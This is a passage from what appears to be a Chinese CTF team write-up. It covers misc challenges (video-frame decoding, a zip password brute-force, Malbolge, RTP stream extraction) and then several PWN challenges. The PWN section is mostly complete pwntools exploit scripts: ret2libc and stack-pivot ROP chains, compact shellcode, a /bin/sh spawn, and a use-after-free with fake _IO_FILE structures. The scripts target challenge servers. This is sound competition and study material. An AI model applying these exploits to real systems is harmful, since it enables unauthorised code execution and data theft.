frame_height = int(cap.get(4))
res = ""
frame_count = 0
while True:
# 读取视频帧
ret, frame = cap.read()
# 如果读取帧失败,则退出循环
if not ret:
break
# 将帧转换为灰度图像(可选)
# gray_frame = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)
# 获取帧的像素数据
pixels = frame.reshape((-1, 3))[:224] # 转换为二维数组,每一行是一个像素的RGB值
if (frame_count > 3 and frame_count < 204):
res += decode_white(pixels)
# 将像素数据保存到文件中
frame_filename = os.path.join(output_dir, f'frame_{frame_count}.txt')
# 使用整数格式保存(如果是灰度图像,可以使用'%d'或'%f')
np.savetxt(frame_filename, pixels, fmt='%d')
frame_count += 1
# 释放视频捕获对象
cap.release()
return res
if __name__ == "__main__":
dir = os.listdir("./data/")
for i in range(90):
for j in dir:
if (f"fl4g_{i}_90" in j):
video_path = './data/' + j # 替换为你的视频文件路径
output_dir = 'output_pixels' # 替换为你想要保存像素数据的目录
res = extract_pixels_from_video(video_path, output_dir)
res = hex(int(res, 2))[2:]
print(bytes.fromhex(res[:2]).decode(), end="")
break
Pvz
import zipfile
import pyzipper
import io
with open("how much.zip", "rb") as f:
d = io.BytesIO(f.read())
def test(password):
try:
with pyzipper.AESZipFile(d, 'r', compression=pyzipper.ZIP_DEFLATED, encryption=pyzipper.WZ_AES) as extracted_zip:
extracted_zip.extractall(pwd=password.encode())
return True
except KeyboardInterrupt as e:
raise
except RuntimeError as e:
return False
except:
raise
return False
import hashlib
import tqdm
for i in tqdm.tqdm(range(0,99999)):
key = hashlib.md5(str(i).encode()).hexdigest()
if test(key):
print(i)
print(key)
break
密码738 217eedd1ba8c592db97d0dbe54c7adfc
D'`_q^K![YG{VDTveRc10qpnJ+*)G!~f1{d@-}v<)9xqYonsrqj0hPlkdcb(`Hd]#a`_A@VzZY;Qu8NMqKPONGkK-,BGF?cCBA@">76Z:321U54-21*Non,+*#G'&%$d"y?w_uzsr8vunVrk1ongOe+ihgfeG]#[ZY^W\UZSwWVUNrRQ3IHGLEiCBAFE>=aA:9>765:981Uvu-2+O/.nm+$Hi'~}|B"!~}|u]s9qYonsrqj0hmlkjc)gIedcb[!YX]\UZSwWVUN6LpP2HMFEDhHG@dDCBA:^!~<;:921U/u3,+*Non&%*)('&}C{cy?}|{zs[q7unVl2ponmleMib(fHG]b[Z~k
Malbolge
https://www.malbolge.doleczek.pl/
在线环境直接出flag
Streaming
Wireshark,手动Decode as RTP解析,得到H264参数为96,指定protocol H264之后即可得到
使用Lua脚本对H264流进行提取
得到的.264文件,直接使用VLC进行播放,得到第一部分
flag{3b3a9c08-
'flag{3b3a9c08-'
问就是脑脑又洞洞,flag1长度怎么看都是key,瞎试试出来了
mac的idot png用这项目解https://github.com/GGN-2015/macos_shadow_tank
另一个音频对着正常的mp4补个0x00文件头,发现是Apple QuickTime movie,黑白帧转二进制
import cv2
import binascii
video_capture = cv2.VideoCapture("s4cret.mp4")
while True:
# 读取一帧
ret, frame = video_capture.read()
# 如果读取帧失败,则说明视频结束
if not ret:
break
# 将图像转换为灰度图像
gray_frame = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)
# 判断当前帧是黑色还是白色
if cv2.countNonZero(gray_frame):
print("0", end="")
else:
print("1", end="")
Input Page Walk
每张图片,裁切0x3B142后面的,然后发现是个btrfs
直接问gpt
然后挂载完成,发现文件目录格式如下
挨个看看readme.txt是桃花源记拿出来,其他的就是fcitx5的用户词典了 导入 导出
获得内容,有flag内容,猜测是按照桃花源记进行排序,gpt做一下就行了
# Rime user dictionary export
#@/db_name meow_emoji
#@/db_type userdb
#@/rime_version 1.11.2
#@/tick 20
#@/user_id qwq
f bian 1
2- bu 1
3a cai tong 1
ea chu ji 1
g(9 cong kou 3
ga cong tong 1
afdd fu xing 1
808a huo ran 1
-c88 kai lang 1
cb6a ping kuang 1
e- ren 2
e ru 1
la she chuan 1
-408 shu shi 1
06a8 tu di 1
8) l wu she 1
1 xia 1
PWN
signin
覆盖个伪随机数 还是ret2libc+栈迁移orw。。。
from pwn import *
import json
import base64
from ctypes import * #导入c函数库模块,可以在python中实现对C语言函数的引用
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['wt.exe', '-w', "0", "-d", ".", "wsl.exe", "-d", "Ubuntu", "bash", "-c"]
# context.terminal = ['tmux', 'splitw', '-h']
ifremote = 1
if ifremote == 1:
p=remote("pwn-fb8bd77dbe.challenge.xctf.org.cn", 9999, ssl=True)
else:
p = process('./vuln')
def debug():
gdb.attach(p)
pause()
elf=ELF('vuln')
libc=cdll.LoadLibrary("./libc.so.6") #导入相应的动态链接库
libc.srand(1)
#debug()
p.send(b'\x00'*14+p32(1))
for i in range(100):
payload = p8(libc.rand()%100+1)
p.sendafter(b'Input the authentication code:',payload)
#debug()
p.sendlineafter(b'>>',p32(1))
p.sendlineafter(b'Note: ',b'sekiro')
putsgot=elf.got['puts']
putsplt=elf.plt['puts']
vuln=0x4013C0
bss=0x404500
payload1=b'a'*0x108+p64(0x0000000000401893)+p64(putsgot)+p64(putsplt)+p64(vuln)
p.send(payload1)
p.recvline()
libc=elf.libc
libcbase=u64(p.recv(6).ljust(8,b'\x00'))-libc.symbols['puts']
rdi=0x0000000000401893
rsi2=0x0000000000401891
rdx=0x0000000000142c92+libcbase
open=libcbase+libc.symbols['open']
puts=libcbase+libc.symbols['puts']
read=libcbase+libc.symbols['read']
payload2=b'a'*0x100+p64(bss+0x100)+p64(rsi2)+2*p64(bss+0x108)+p64(0x4013DE )
p.send(payload2)
#debug()
payload3=p64(rdi)+p64(0x4046a0)+p64(rsi2)+p64(0)*2+p64(rdx)+p64(0)+p64(open)
payload3+=p64(rdi)+p64(3)+p64(rsi2)+p64(bss)*2+p64(rdx)+p64(0x50)+p64(read)
payload3+=p64(rdi)+p64(bss)+p64(puts)+b'/flag'
p.send(payload3)
print(hex(libcbase))
p.interactive()
signin_revenge
ret2libc 栈迁移orw
from pwn import *
import json
import base64
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['wt.exe', '-w', "0", "-d", ".", "wsl.exe", "-d", "Ubuntu", "bash", "-c"]
# context.terminal = ['tmux', 'splitw', '-h']
ifremote = 1
if ifremote == 1:
p = remote("pwn-b6a92dc2b1.challenge.xctf.org.cn", 9999, ssl=True)
else:
p = process('./vuln')
def debug():
gdb.attach(p)
pause()
elf=ELF('vuln')
libc=elf.libc
putsgot=elf.got['puts']
putsplt=elf.plt['puts']
vuln=0x4012C0
bss=0x404500
payload1=b'a'*0x108+p64(0x0000000000401393)+p64(putsgot)+p64(putsplt)+p64(vuln)
p.sendafter(b'e and pwn!',payload1)
p.recvline()
libcbase=u64(p.recv(6).ljust(8,b'\x00'))-libc.symbols['puts']
rdi=0x0000000000401393
rsi2=0x0000000000401391
rdx=0x0000000000142c92+libcbase
open=libcbase+libc.symbols['open']
puts=libcbase+libc.symbols['puts']
read=libcbase+libc.symbols['read']
payload2=b'a'*0x100+p64(bss+0x100)+p64(rsi2)+2*p64(bss+0x108)+p64(0x4012DE)
p.send(payload2)
#debug()
payload3=p64(rdi)+p64(0x4046a0)+p64(rsi2)+p64(0)*2+p64(rdx)+p64(0)+p64(open)
payload3+=p64(rdi)+p64(3)+p64(rsi2)+p64(bss)*2+p64(rdx)+p64(0x50)+p64(read)
payload3+=p64(rdi)+p64(bss)+p64(puts)+b'./flag'
p.send(payload3)
print(hex(libcbase))
p.interactive()
QWEN
又是栈溢出
过检测
p.sendline('1 1')
p.sendline('2 2')
p.sendline('3 3')
p.sendline('4 4')
p.sendline('5 5')
p.sendline('0 0')
触发报错 改地址到到open后门读/proc/self/maps获取地址,然后再一次通过报错栈迁移到0x30输入那执行rop
from pwn import *
from LibcSearcher import *
from ctypes import *
from struct import pack
import numpy as np
import base64
from bisect import *
import json
# p = process(["/mnt/d/desktop/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/ld-linux-x86-64.so.2", "./pwn"],
# env={"LD_PRELOAD":"./libc.so.6"})
# p = process(['./libc.so','./pwn'])
# p = process('./pwn')
p=remote("pwn-9e82c9c002.challenge.xctf.org.cn", 9999, ssl=True)
# p=remote('119.23.41.54',37403)
# p = process(['qemu-riscv64','-g','1234','./pwn'])
# p = process(['qemu-riscv64','-g','1234','-L','/usr/riscv64-linux-gnu','./pwn'])
context(arch='amd64', os='linux', log_level='debug')
# context.terminal = ['tmux','splitw','-h']
context.terminal = ['wt.exe', '-w', "0", "sp", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "bash", "-c"]
# context.terminal = ['wt.exe', '-w', "0", "sp", "-d", ".", "wsl.exe", "-d", "Ubuntu-20.04", "bash", "-c"]
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
# ld = ELF('./ld-linux-x86-64.so.2')
def lg(buf):
log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')
p.recvuntil(':')
p.sendline('1 1')
p.recvuntil(':')
p.sendline('2 2')
p.recvuntil(':')
p.sendline('3 3')
p.recvuntil(':')
p.sendline('4 4')
p.recvuntil(':')
p.sendline('5 5')
p.recvuntil(':')
p.sendline('0 0')
p.recvuntil('Do you think this victory is easy? Is there anything you want to say?')
payload = b'a'*8 + p16(0x1508)
p.send(payload)
p.recvuntil('Do you want to end the game [Y/N]')
p.sendline(b'N')
p.recvuntil(':')
p.sendline(b'0 -')
libc2=cdll.LoadLibrary("./libc.so.6")
p.sendlineafter(b'nistrator key',str(libc2.rand()))
p.recvuntil('[*] Administrator successfully logged in!')
p.sendline(b'/proc/self/maps')
libc_base = int(p.recvuntil('-7f')[-15:-3],16)
lg("libc_base")
ogg = [0x4f302, 0x4f2a5, 0x4f302, 0x10a2fc]
for i in range(len(ogg)):
ogg[i] += libc_base
ret = libc_base + 0x00000000000c76a2
realloc = libc_base + libc.symbols['realloc']
system = libc_base + libc.symbols['system']
leave_ret = libc_base + 0x00000000000547e3
add_rsp = libc_base + 0x000000000010fc5e
pop_rdi = libc_base + 0x00000000001099c1
binsh = libc_base + next(libc.search(b'/bin/sh'))
p.recvuntil(':')
p.sendline('1 1')
p.recvuntil(':')
p.sendline('2 2')
p.recvuntil(':')
p.sendline('3 3')
p.recvuntil(':')
p.sendline('4 4')
p.recvuntil(':')
p.sendline('5 5')
p.recvuntil(':')
p.sendline('0 0')
p.recvuntil('Do you think this victory is easy? Is there anything you want to say?')
payload = b'a'*8 + p16(0x1508)
p.send(payload)
p.recvuntil('Do you want to end the game [Y/N]')
p.sendline(b'N')
p.recvuntil(':')
p.sendline(b'0 -')
p.sendlineafter(b'nistrator key',str(libc2.rand()))
p.recvuntil('[*] Administrator successfully logged in!')
p.sendline(b'/')
p.sendline('1 1')
p.sendline('2 2')
p.sendline('3 3')
p.sendline('4 4')
p.sendline('5 5')
p.sendline('0 0')
p.recvuntil('Do you think this victory is easy? Is there anything you want to say?')
payload = b'a'*8 + p64(add_rsp) + b'a'*8 + p64(pop_rdi) + p64(binsh) + p64(ogg[0])
p.send(payload)
p.recvuntil('Do you want to end the game [Y/N]')
p.sendline(b'N')
p.recvuntil(':')
p.sendline(b'0 -')
p.sendline("cd /home/ctf")
p.recv(timeout = 1)
p.sendline("cat pwn2")
pwn2 = p.recvall(timeout=3)
with open("pwn2", "wb") as f:
f.write(pwn2)
p.interactive()
里面还有pwn2(
暂时无法在飞书文档外展示此内容
提取出来按照他的逻辑c了一个归档
提取上去发现不对 再看了一下应该还是压缩处理过的 毕竟只有30个字节 试了下压缩pwn.maps的时候发现他会压缩数字
同时发现这里有点端倪 刚好是3 变成32个字节就合适了
flag{XjpNn8bX333pECNUXwyvocIrfFbNxlSg}
ezcode
22字节orw
开始想的mprotect +read但怎么都不行 一直都是23字节多一个
于是打算直接不改动为7的rdx了 直接把它当作read的参数
并且为了多写一些 把rdx换成0xf 也能成功可写可执行
并且
多一些可写的窗口
然后再去read ->orw
from pwn import *
import json
import base64
# 设置 context
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['wt.exe', '-w', "0", "-d", ".", "wsl.exe", "-d", "Ubuntu", "bash", "-c"]
# 连接方式:远程或本地
ifremote = 1
if ifremote == 1:
p =remote("pwn-185fa431d6.challenge.xctf.org.cn", 9999, ssl=True)
else:
p = process('./vuln')
# 定义调试函数
def debug():
gdb.attach(p)
pause()
# 准备shellcode(示例:/bin/sh)
shellcode = '66B80A004489FFBA0F0000000F0531C031FF89CE0F05'
# 将shellcode放入字典,并转换为JSON格式
payload = {
"shellcode": shellcode
}
# 将字典转换为JSON字符串
payload_json = json.dumps(payload)
#
# 发送输入
#debug()
p.sendlineafter(b'e enter your input:\n',payload_json)
shellcode = asm('''
xor eax,eax
xchg edx,ebx
syscall
''')
p.sendafter(b'loaded!',9*b'\x90'+shellcode)
# 切换到交互模式
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('rax','r15',100)
shellcode += shellcraft.write(1,'r15',100)
p.send(b'\x90'*0x30+b"\x48\xC7\xC4\x00\x81\x99\x09"+asm(shellcode))
p.interactive()
gruess_book
Uaf直接打
from pwn import *
from LibcSearcher import *
from ctypes import *
from struct import pack
import numpy as np
import base64
from bisect import *
import json
# p = process(["./ld-linux-x86-64.so.2", "./pwn"],
# env={"LD_PRELOAD":"./libc.so.6"})
# p = process(['./libc.so','./pwn'])
# p = process('./pwn')
p=remote("pwn-1d7f57c95d.challenge.xctf.org.cn", 9999, ssl=True)
# p=remote('119.23.41.54',37403)
# p = process(['qemu-riscv64','-g','1234','./pwn'])
# p = process(['qemu-riscv64','-g','1234','-L','/usr/riscv64-linux-gnu','./pwn'])
context(arch='amd64', os='linux', log_level='debug')
# context.terminal = ['tmux','splitw','-h']
context.terminal = ['wt.exe', '-w', "0", "sp", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "bash", "-c"]
# context.terminal = ['wt.exe', '-w', "0", "sp", "-d", ".", "wsl.exe", "-d", "Ubuntu-20.04", "bash", "-c"]
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
# ld = ELF('./ld-linux-x86-64.so.2')
def lg(buf):
log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')
def menu(index):
p.recvuntil('>')
p.sendline(str(index))
def add(index, size):
menu(1)
p.recvuntil('input your index')
p.sendline(str(index))
p.recvuntil('input your size')
p.sendline(str(size))
def edit(index, content):
menu(2)
p.recvuntil('input your index')
p.sendline(str(index))
p.recvuntil('nput your content')
p.send(content)
def free(index):
menu(3)
p.recvuntil('input your index')
p.sendline(str(index))
def show(index):
menu(4)
p.recvuntil('input your index')
p.sendline(str(index))
add(0,0x510)
add(1,0x500)
add(2,0x500)
add(3,0x500)
free(0)
show(0)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x21ace0
lg("libc_base")
large = libc_base + 0x21ace0
target = libc_base + 0x21c000
add(4,0x1000)
_IO_list_all = libc_base + libc.symbols['_IO_list_all']
edit(0, p64(large)*2 + p64(0) + p64(_IO_list_all - 0x20))
free(2)
add(5,0x1000)
fake_io_read = flat({
0x0: 0x8000 | 0x40 | 0x1000, #_flags
0x20: target, #_IO_write_base
0x28: target + 0x500, #_IO_write_ptr
0x68: target, #_chain
0x70: 0, # _fileno
0xc0: 0, #_modes
0xd8: libc_base + libc.symbols['_IO_file_jumps'] - 0x8, #_vtables
}, filler=b'\x00')
edit(2,fake_io_read[0x10:])
menu(5)
p.recvuntil('bye~')
payload = b""
fake_io_write = flat({
0x00: 0x8000 | 0x800 | 0x1000, #_flags
0x20: libc_base+libc.symbols["environ"], #_IO_write_base
0x28: libc_base+libc.symbols["environ"] + 8, #_IO_write_ptr
0x68: target + 0x100, #_chain
0x70: 1, # _fileno
0xc0: 0, #_modes
0xd8: libc_base + libc.symbols['_IO_file_jumps'], #_vtables
}, filler=b'\x00')
payload = fake_io_write.ljust(0x100, b'\x00')
fake_io_read = flat({
0x00: 0x8000 | 0x40 | 0x1000, #_flags
0x20: target + 0x200, #_IO_write_base
0x28: target + 0x500, #_IO_write_ptr
0x68: target + 0x200, #_chain
0x70: 0, # _fileno
0xc0: 0, #_modes
0xd8: libc_base + libc.symbols['_IO_file_jumps'] - 0x8, #_vtables
}, filler=b'\x00')
payload += fake_io_read.ljust(0x100, b'\x00')
sleep(0.1)
p.send(payload)
stack = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
target = stack - 712 - 8
lg("stack")
lg("target")
fake_io_read = flat({
0x00: 0x8000 | 0x40 | 0x1000, #_flags
0x20: target, #_IO_write_base
0x28: target + 0x200, #_IO_write_ptr
0x68: 0, #_chain
0x70: 0, # _fileno
0xc0: 0, #_modes
0xd8: libc_base + libc.symbols['_IO_file_jumps'] - 0x8, #_vtables
}, filler=b'\x00')
sleep(0.1)
p.send(fake_io_read)
pop_rdi = 0x000000000002a3e5 + libc_base
pop_rsi = 0x000000000016333a + libc_base
pop_rdx_rbx = 0x00000000000904a9 + libc_base
execve = libc_base + libc.symbols['execve']
binsh = libc_base + next(libc.search(b"/bin/sh"))
payload = flat([
pop_rdi, binsh,
pop_rsi, 0,
pop_rdx_rbx, 0, 0,
execve,
])
sleep(0.1)
p.send(payload)
p.interactive()